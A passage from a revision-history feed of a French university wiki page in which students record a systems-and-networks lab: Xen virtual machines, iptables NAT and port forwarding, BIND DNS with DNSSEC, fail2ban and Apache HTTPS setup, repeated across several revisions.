                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d&#039;un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
 IN      NS      ns.deadpool.tech.&lt;br /&gt;
 IN      NS      ns.dardervil.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fefa:18d0&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fefa:18d0&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour restart le service &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d&#039;un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l&#039;autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l&#039;extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fail2ban ===&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier jail.local dans le dossier /etc/fail2ban&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true port = ssh filter = sshd maxretry = 5 findtime = 300 bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans fail2ban.conf (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin pour lancer le service il faut rentrer la cmd suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
Dans le dossier /etc/apache2/sites-available&lt;br /&gt;
&lt;br /&gt;
On met la clef deadpool.tech.key et les certificats GandiCert.pem et deadpool.tech.crt (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les cmd suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12044</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12044"/>
		<updated>2026-02-03T14:51:27Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Projet de virtualisation ===&lt;br /&gt;
&lt;br /&gt;
==== Atelier système et réseau, les machines virtuelles ====&lt;br /&gt;
&lt;br /&gt;
===== Création des machines virtuelles =====&lt;br /&gt;
Nous avons créé deux machines avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
disk        = [&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w&#039;,&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.home,xvdb,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.var,xvdc,w&#039;,&lt;br /&gt;
              ]&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;modif le fichier &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;sur terminal&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ensuite : &amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.10.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ &#039;mac=00:16:3E:FA:18:CF,bridge=pont_ironman&#039;, &#039;mac=00:16:3E:FA:18:D0,bridge=SE4&#039; ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d&#039;un repertoire keys avec les droits nécessaires&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d&#039;un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
 IN      NS      ns.deadpool.tech.&lt;br /&gt;
 IN      NS      ns.dardervil.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fefa:18d0&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fefa:18d0&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour restart le service &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d&#039;un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l&#039;autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l&#039;extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fail2ban ===&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier jail.local dans le dossier /etc/fail2ban&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true port = ssh filter = sshd maxretry = 5 findtime = 300 bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans fail2ban.conf (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin pour lancer le service il faut rentrer la cmd suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
Dans le dossier /etc/apache2/sites-available&lt;br /&gt;
&lt;br /&gt;
On met la clef deadpool.tech.key et les certificats GandiCert.pem et deadpool.tech.crt (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les cmd suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12018</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12018"/>
		<updated>2026-02-02T10:47:37Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : /* redirection de port pour ssh */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Projet de virtualisation ===&lt;br /&gt;
&lt;br /&gt;
==== Atelier système et réseau, les machines virtuelles ====&lt;br /&gt;
&lt;br /&gt;
===== Création des machines virtuelles =====&lt;br /&gt;
Nous avons créé deux machines avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
disk        = [&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w&#039;,&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.home,xvdb,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.var,xvdc,w&#039;,&lt;br /&gt;
              ]&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;modif le fichier &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
